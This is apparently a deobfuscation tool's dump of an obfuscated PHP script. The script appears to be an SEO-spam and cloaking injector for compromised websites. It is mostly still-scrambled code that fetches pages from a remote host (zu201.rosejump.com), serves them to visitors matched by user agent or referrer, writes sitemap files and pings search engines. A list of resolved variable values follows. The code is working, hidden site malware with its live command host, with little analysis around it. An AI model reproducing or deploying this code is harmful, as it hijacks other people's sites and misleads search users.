$oOOoOooOoO = array(
    $O[54] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $oOOoOooOOooO,
    $O[25] . $O[44] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $oOoOOoOooO,
    $O[29] . $O[39] . $O[61] . $O[29] . $O[44] . $O[4] . $O[67] => $oOoOOoOooO,
    $O[3] . $O[67] . $O[13] . $O[24] . $O[24] => $oOoOOooO,
    $O[67] . $O[4] . $O[4] . $O[29] => $oOOoOooOOoOo,
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[67] . $O[28] . $O[3] . $O[4] => $oOOooOoO,
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[32] . $O[13] . $O[53] . $O[13] . $O[32] . $O[13] . $O[32] => $oOoOoOOo,
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[6] . $O[3] . $O[13] . $O[32] . $O[61] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] => $oOoOoOoO,
    $O[32] . $O[13] . $O[25] . $O[28] . $O[4] . $O[13] . $O[61] . $O[44] . $O[39] . $O[39] . $O[32] => $Oo,
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[10] . $O[61] . $O[53] . $O[28] . $O[32] . $O[8] . $O[44] . $O[32] . $O[39] . $O[13] . $O[39] . $O[61] . $O[53] . $O[28] . $O[32] => $oO,
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[44] . $O[51] . $O[51] . $O[13] . $O[29] . $O[4] . $O[61] . $O[24] . $O[44] . $O[26] . $O[54] . $O[6] . $O[44] . $O[54] . $O[13] => $oOOo
);
function OOO($oOOoOoOoOo)
{
    $oOOoOoOooO = curl_init();
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo);
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_CONNECTTIMEOUT, 5);
    $oOOoOooOOo = curl_exec($oOOoOoOooO);
    curl_close($oOOoOoOooO);
    if (empty(trim($oOOoOooOOo)))
    {
        $oOOoOooOOo = file_get_contents($oOOoOoOoOo);
    }
    return $oOOoOooOOo;
}
function OOOOO($oOOoOoOoOo, $oOOoOooOoO = array())
{
    $oOOoOoOooO = curl_init();
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo);
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_HEADER, 0);
    curl_setopt($oOOoOoOooO, CURLOPT_TIMEOUT, 10);
    curl_setopt($oOOoOoOooO, CURLOPT_POST, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_POSTFIELDS, http_build_query($oOOoOooOoO));
    $oOOoOooOOo = curl_exec($oOOoOoOooO);
    $oOOooOOoOo = curl_errno($oOOoOoOooO);
    curl_close($oOOoOoOooO);
    if ($oOOooOOoOo !== 0)
    {
        $oOOoOooOOo = '';
    }
    if (empty(trim($oOOoOooOOo)))
    {
        $oOOooOOooOOo = array(
            'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => http_build_query($oOOoOooOoO)
            )
        );
        $oOOooOOooOoO = stream_context_create($oOOooOOooOOo);
        $oOOoOooOOo = file_get_contents($oOOoOoOoOo, false, $oOOooOOooOoO);
    }
    return $oOOoOooOOo;
}
if (strpos($oOoOOoOo, $O[5] . $O[10] . $O[25] . $O[24]))
{
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO);
    if (empty($oOoOoOoOoO))
    {
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]);
        exit;
    }
    if ($oOoOOoOooO == $O[29] . $O[40] . $O[26] . $O[54] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[5] . $O[10] . $O[25] . $O[24])
    {
        $oOOoOoOoOoOo = explode("\n", $oOoOoOoOoO);
        $oOOooOOooO = $O[37] . $O[3] . $O[13] . $O[32] . $O[30] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] . $O[52] . $O[35] . PHP_EOL;
        $oOOooOOooO .= $O[57] . $O[24] . $O[24] . $O[28] . $O[8] . $O[52] . $O[27] . PHP_EOL;
        for ($oOOoOoOooOoO = 0;$oOOoOoOooOoO < count($oOOoOoOoOoOo) - 1;$oOOoOoOooOoO++)
        {
            $oOOoOoOooOOo = OOO($O[67] . $O[4] . $O[4] . $O[29] . $O[3] . $O[52] . $O[27] . $O[27] . $O[8] . $O[8] . $O[8] . $O[5] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[27] . $O[29] . $O[40] . $O[26] . $O[54] . $O[69] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[38] . $oOOoOoOoOoOo[$oOOoOoOooOoO]);
            preg_match("/<h2>(.+)?<\/h2>/", $oOOoOoOooOOo, $oOOoOoOoOooO);
            echo $oOOoOoOoOoOo[$oOOoOoOooOoO] . $O[38] . $O[38] . $O[70] . $O[29] . $O[40] . $O[26] . $O[54] . $O[30] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[30] . $O[32] . $O[13] . $O[3] . $O[6] . $O[24] . $O[4] . $O[30] . $O[40] . $O[3] . $O[52] . $O[9] . $O[50] . $O[70] . $oOOoOoOoOooO[1] . $O[9] . $O[27] . $O[50] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . PHP_EOL;
            usleep(100000);
            $oOOooOOooO .= $O[62] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[52] . $oOOoOoOoOoOo[$oOOoOoOooOoO] . PHP_EOL;
        }
        file_put_contents($oOOooOOoOooO . $O[27] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4], $oOOooOOooO);
        echo $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4] . $O[38] . $O[38] . $O[70] . $O[9] . $O[50] . $O[70] . $O[6] . $O[29] . $O[39] . $O[44] . $O[4] . $O[13] . $O[39] . $O[9] . $O[27] . $O[50] . $O[70];
    }
    else
    {
        header($O[15] . $O[28] . $O[26] . $O[4] . $O[13] . $O[26] . $O[4] . $O[30] . $O[4] . $O[11] . $O[29] . $O[13] . $O[52] . $O[4] . $O[13] . $O[10] . $O[4] . $O[27] . $O[10] . $O[25] . $O[24]);
        echo $oOoOoOoOoO;
    }
    exit;
}
elseif (strpos($oOoOOoOo, $O[19] . $O[29] . $O[17] . $O[56] . $O[17] . $O[59]) || $oOoOOoOo == $O[27] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4])
{
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO);
    if (empty($oOoOoOoOoO))
    {
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]);
        exit;
    }
    echo $oOoOoOoOoO;
    exit;
}
else
{
    if ($oOoOoOoO != '' && preg_match('/(' . $oOOooOoOoO . ')/si', $oOoOoOoO))
    {
        $oOoOoOOoOo = OOOOO($oOOooOOo, $oOOoOooOoO);
        empty($oOoOoOOoOo) ? header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]) : print $oOoOoOOoOo;
        exit;
    }
    else
    {
        if ($oOoOoOOo != '' && preg_match('/(' . $oOoOOooOOo . ')/si', $oOoOoOOo))
        {
            $oOoOoOOooO = OOOOO($oOOoOoOo, $oOOoOooOoO);
            if (!empty($oOoOoOOooO))
            {
                echo $oOoOoOOooO;
                exit;
            }
        }
    }
} ?>

Function Calls

md5 1
strtolower 1
error_reporting 1

Variables

$O MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3..
$oOoOoO http://zu201.rosejump.com
$oOOoOoOo http://zu201.rosejump.com/jump_engine.php
$oOOoOooO http://zu201.rosejump.com/map_engine.php
$oOOooOOo http://zu201.rosejump.com/products_engine.php
$oOoOOoOo None
$oOoOOooOoO None
$oOOoOooOOoOo ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['ArrayOffset', {'expr': 67, 'node': ['Variable', {'name': '$O'}]}], 'right': ['ArrayOffset', {'expr': 4, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 4, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 29, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 52, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 27, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 27, 'node': ['Variable', {'name': '$O'}]}]}]
$oOOoOooOOooO zu201
$oOOoOooOoOOo a3af6981fb6d69ff0b050f5646fb2a15.txt
$oOOooOOoOoOo None
$oOOooOOoOooO None

Stats

MD5 f850e114d439211f5d6175b9c2642300
Eval Count 0
Decode Time 505 ms